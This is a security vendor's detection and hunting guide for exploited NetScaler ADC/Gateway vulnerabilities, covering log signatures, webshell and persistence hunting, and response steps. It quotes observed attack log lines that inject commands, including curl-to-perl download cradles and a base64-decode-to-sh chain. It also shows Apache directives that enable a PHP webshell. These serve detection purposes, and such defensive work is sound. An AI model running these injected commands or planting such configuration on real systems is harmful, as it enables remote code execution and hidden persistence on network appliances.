NetScaler Under Exploitation: A Consolidated Detection and Hunting Guide (UPDATE — CVE-2026-88779)

Written by: 
Abstract Security Threat Research Organization (ASTRO)
Published on: 
Oct 3, 2026
On This Page
Share:

UPDATE: A third exploited vulnerability has been identified as CVE-2026-88779. This post has been updated with more information.

A couple weeks ago we published hunting guidance for exploitation of the recent NetScaler ADC and Gateway zero-days (CVE-2026-88771 and CVE-2026-88772) to Detect Club, based on what was known at the time. A lot has been revealed since as the security community pours in indicators and artifacts observed. Adding to the fire, we have a new CVE-2026-88779 confirmed exploited as well. This post consolidates our own guidance with reports from researchers and incident responders, focused on what you can detect and hunt for.

We have deliberately left out atomic indicators. Reporting has shown webshell filenames, paths and attacker infrastructure vary per victim and rotate quickly, so IOC lists are left to reports referenced. Everything below targets technique and structure instead.

Where things stand: NetScaler exploitation timeline

Date Phase What happened
Late Aug Reconnaissance Reported mass scanning and version fingerprinting of NetScaler devices.
Early Sep Targeted exploitation Reported early exploitation.
27 Sep Disclosure Citrix publishes CTX697096 covering eight CVEs. CISA adds two to KEV the same day.
Late Sep Opportunistic exploitation Opportunistic exploitation follows public POC release, layered on top of the earlier targeted activity.
2 Oct Developing Citrix publishes guidance on a separate issue it says is independent of CTX697096. Potentially new exploitation vector.
3 Oct New CVE Citrix publishes CTX697174 for CVE-2026-88779, a memory overflow affecting SAML deployments. Appliances using SAML authentication updated under the earlier bulletin need to be upgraded again.
5 Oct Confirmed exploitation CISA adds CVE-2026-88779 to KEV with a 7 Oct federal deadline and a requirement to verify for compromise.

Three CVEs are now confirmed exploited. CVE-2026-88771 (unauthenticated command execution, affects the default configuration) and CVE-2026-88772 (DTLS memory overflow leading to RCE, where DTLS is on by default on VPN virtual servers), both CVSS v4 9.5 CRITICAL. See patch CTX697096. Joining them is CVE-2026-88779 (memory overflow affecting SAML deployments, CVSS v4 8.7 HIGH), patched in CTX697174 with more information in this update.

Key points up front

Hunt before you patch. Assess your systems for compromise before patching, because patching may delete evidence. You’re in a better spot if you’re forwarding logs to your SIEM, better yet if you can grab a memory dump beforehand. Before you touch anything, capture a VPX snapshot, a technical support bundle, and/or a packet engine core dump.

Patching closes the vulnerabilities (maybe), not the access. It does not remove a webshell, a modified Apache config, a cron entry or a setuid binary planted beforehand. Multiple responders have confirmed implants surviving both reboot and upgrade.

Mind the gap. If an appliance was internet-facing and unpatched during September, treat it as potentially compromised. The scope of investigation should reach as far back as start of September.

If you run SAML, patch again. The crashes reported and relevant Citrix guidance around October 2 turned out to be CVE-2026-88779, patched the next day. Appliances configured as a SAML service provider or identity provider need the newer builds even if you already upgraded based on CTX697096 (September 27 advisory). Check your config for add authentication samlAction or add authentication samlIdPProfile to confirm whether you’re in scope.

It’s still an ongoing situation. This incident has produced a new development every few days and, based on past patterns with NetScaler, vulnerabilities disclosed can form a chain of exploitation over the following weeks. If you can’t take appliances offline, implement the recommended mitigations and keep monitoring for implants and odd crash behavior.

Detecting CVE-2026-88771 and CVE-2026-88772 exploitation

1. Log poisoning into command execution (CVE-2026-88771)

Kudos to CERT-EU's analysis for this one. The appliance script /netscaler/ns_monuploadd_err.pl greps NS log (/var/log/ns.log) and system log (/var/log/messages) files for NSPPE crash messages and interpolates what it finds into an unquoted shell command. An attacker who can write a convincing crash line into a log can therefore get that line executed as root.

CERT-EU provided a sample log they observed with command injection:‍

[..] process_kernel_socket: call to authenticate user :pitboss PPE missed too many heartbeatsNSPPE;grep${IFS}INDEX:${IFS}/var/log/htt*|sed${IFS}'s/.*INDEX://;s/".*//'|b64decode${IFS}-r|sh;, [..]

Arctic Wolf also published a report with NS log examples showing exactly how the injected commands appear across different log types:‍

0-PPE-0 : default AAA LOGIN_FAILED <id> 0 : User pitboss PPE unexpectedly died NSPPE;curl hxxp://<host>/update.pl | perl;# X - Client_ip <ip> - Failure_reason "External authentication server denied access"

0-PPE-2 : default SSLVPN Message <id> 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;curl hxxp://<host>/update.pl | perl;# X>, factor <n>, auth type 4129"

Note that the injected commands vary, they just happen to be curl → perl download cradles in these samples. Other variants seen are Base64-encoded text decoded and executed.

The consistent indicator is the “pitboss” crash phrase appearing in a username/authentication field, especially in close proximity to shell syntax. Pitboss is a watchdog daemon that handles crashed processes. The same forged string can be seen in AAA, AAATM and SSLVPN message types.

As such, detect on NetScaler log records containing a packet engine crash phrase (pitboss PPE unexpectedly died, PPE missed too many heartbeats) together with shell metacharacters like ;, backticks, $(), |, >, &&, ||, or their %-encoded equivalents.

Note that a match proves the payload reached the vulnerable logging path but not that the command executed. Treat it as a lead for further investigation on the host.

2. DTLS exploitation crash signature (CVE-2026-88772)

Google GTIG and Mandiant identified two log artifacts characteristic of successful exploitation.

In syslog:‍

default SSLLOG SSL_HANDSHAKE_FAILURE 0 : ... ClientVersion DTLSv1.0 - CipherSuite "TLS1-AES-256-CBC-SHA" - Session New - Reason "Handshake failure-Internal Error"

In /var/log/messages:‍

pitboss[<id>]: pitboss <datetime> NOT restarting NSPPE-<##> (<pid>)

Detect on co-occurrence of these logs within a short timeframe. Correlate a DTLSv1.0 handshake failure with an internal-error reason, followed closely by an NSPPE termination.

Detecting anomalous crashes

SAML authentication daemon crashes

This one only applies if the appliance is configured as a SAML service provider or identity provider. The pattern to look for is repeated crashing of the authentication daemon nsaaad, followed by Pitboss hitting a restart limit and rebooting the whole appliance. This was observed on patched 13.1 and 14.1 devices.

NS log can contain these messages:‍

nsaaad unexpectedly died due to receiving signal
proc nsaaad ... EXITED with status 0x8a
has had its maximum number of restarts
Pitboss declaring system failure: nsaaad ... exited
All monitored processes have exited, rebooting

Detect on repeated nsaaad termination followed by a Pitboss restart limit or reboot message. The signal is the repetition and the reboot following.

Note that this crash pattern is a potential link to CVE-2026-88779 and is not a confirmed indicator of successful exploitation. Currently, Citrix classifies CVE-2026-88779 as a denial of service, and the published CVSS vector details availability impact only. Either way, an appliance crashing is a behavior worth chasing down.

Also, while Citrix states the issue affects service availability, we haven’t ruled out the possibility of code execution. Kevin Beaumont (@GossiTheDog on Mastodon) also points out that CVE-2025-6543 was a similar DoS case that was later exploited for RCE in the wild. Our take is to investigate the appliance if you see anomalous crashes.

Hunting for NetScaler implants

Apache configuration

Modified Apache configuration is the most consistently reported persistence-enabling technique. Post-exploitation, the attacker enables PHP in httpd.conf to facilitate a webshell implant. Optionally an extension other than .php is registered using AddHandler in order to make requests to the webshell look less conspicuous.

Method A registers an unexpected extension as PHP:‍

php_flag engine on
AddHandler application/x-httpd-php .deb

Method B aliases an innocuous web path to a file with a different extension, then registers that extension as PHP:‍

php_flag engine on
AliasMatch ^/vpn/media/(.+).ico$ /var/netscaler/gui/vpn/scripts/linux/$1.sig
AddHandler application/x-httpd-php .sig

The extension varies between environments — .deb, .sig, .ico and others have all been reported. They’re arbitrary, so hunt for the Apache directives instead.‍

grep -En -i "application/x-httpd-php|php_flag|AliasMatch" /etc/httpd.conf

Check /nsconfig/httpd.conf, /nsconfig/https.conf , and /flash/nsconfig/httpd.conf as well. /etc is restored from a read-only image at boot, so a change that persists lives in /nsconfig. An alternative to string searching is diffing httpd.conf against a clean appliance on the same build, especially good for uncovering unreported variations.

Webshells, by content rather than name

Searching for reported webshell filenames can miss things as they’re often unique per victim. Hunt content and file type instead. These commands were provided by GTIG:‍

file /var/netscaler/gui/vpn/scripts/linux/* /netscaler/ns_gui/vpn/media/* 2>/dev/null | grep -E "ASCII text|PHP script"

grep -rlE "<\?php|eval\(|base64_decode\(|shell_exec\(" /var/netscaler/gui/ /netscaler/ns_gui/ /var/vpn/ /netscaler/portal/ 2>/dev/null

Look closer at text or PHP files sitting in directories that should contain only client binaries. Also, files containing PHP content with unrelated extensions like .sig or .deb are very likely to be webshells.

Root persistence and tooling

Look for these reported persistence mechanisms and additional artifacts, though these are not all-encompassing:

  • Setuid on shell binaries like /bin/sh — Running ls -l /bin/sh should not show -rwsr-xr-x.
  • SLAPSHOT artifacts — GTIG reported the Python tunneler SLAPSHOT seen in intrusions. It writes /tmp/.uxdport and /tmp/.uxdlock, and is launched via a base64 python -c one-liner.
  • Startup and scheduled execution — Look for recent changes to /var/cron/tabs/, root and nsroot crontabs, /nsconfig/rc.netscaler and /nsconfig/nsafter.sh.
  • Unexpected listeners — Some implants attempt to bind at an ephemeral high port.
  • Modified product binaries — Hash product files against a clean appliance of the same build to hunt for binaries overwritten by reverse shells.

Egress from the appliance

A NetScaler's normal traffic is narrow: backend services it load-balances, authentication infrastructure, monitoring, and clients on its VIPs. Post-exploitation activity like C2 and pivots to / recon of internal networks can surface in network monitoring of traffic egressing the device. Look for first-seen outbound internet connections from NSIPs and SNIPs, rare DNS queries from the appliance, and new internal SSH, SMB, RDP or database traffic sourced from it.

Scanners you can use

  • Citrix NetScaler Console includes an IoC detection scan. Note however Citrix's own statement that the information "might be of limited forensic value and might fail to identify actual compromises". Citrix shipped a fourth version of the detection logic on 1 October so we recommend to rescan if you scanned earlier. Citrix also points to its Console File Integrity Monitoring.
  • Nextron THOR has coverage for both CVEs along with webshell rules.

Review any 3rd-party script before you execute it. Where possible, run scanners against a copy of the file system rather than the live appliance. Scanning in place updates access times and generates command and audit entries that can complicate forensics.

A clean result from any scanner does not clear a host. Pair with more comprehensive assessments.

Response

Refer to Citrix's CTX694799 reference for steps to take if suspected to be compromised. Beyond that, here are some important points we want to drive home:

  • For suspected compromise Citrix recommends deploying a new, updated instance rather than relying on the update. As described above, persistence can be found in many places so selective cleanup is hard to assure.

  • Among others, that includes LDAP and RADIUS secrets, OAuth tokens, API keys, SNMP community strings, certificates and private keys, and the passwords of users who authenticated through it. Then check the systems it talked to, especially authentication servers and management jump hosts.

  • Run show ns variable first. Citrix mentions that 13.1-64.23 can enter a reboot loop during upgrade if variables are configured. Use 13.1-64.24 in that case.

  • It requires enabling Enhanced ISN Generation, per CERT-EU.

  • The samlRejectUnsignedAssertion OFF setting is no longer supported and is converted to the secure default. If your identity provider does not sign assertions, authentication will fail once patched.

  • These versions receive no fix and should be migrated. Nuke ‘em.

  • Disable DTLS or block inbound UDP/443 upstream.

  • Fixed builds are 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282. Citrix is explicit that deployments upgraded for CVE-2026-88771 through CVE-2026-88778 need upgrading again for CVE-2026-88779. Secure Private Access Hybrid deployments using NetScaler instances are also in scope.

Sources

Vendor and government advisories

Technical analysis and incident response

We’d like to acknowledge the independent PitScaler briefing which helped tremendously in pulling information together. We suggest following the page for a continuous view of this incident along with the official Citrix advisories.

‍

Written by:
Abstract Security Threat Research Organization (ASTRO)
Get started with Abstract today
Save your security teams from drowning in data noise and hassle!
Get a Demo
GET
‍ABSTRACTED

We would love you to be a part of the journey, lets grab a coffee, have a chat, and set up a demo!

‍

Your friends at Abstract AKA one of the most fun teams in cyber ;)

White light beam passing through a black circle with a pink abstract symbol, dispersing into multicolored beams on the right.
Thank you!
Your submission has been received.
Oops! Something went wrong while submitting the form.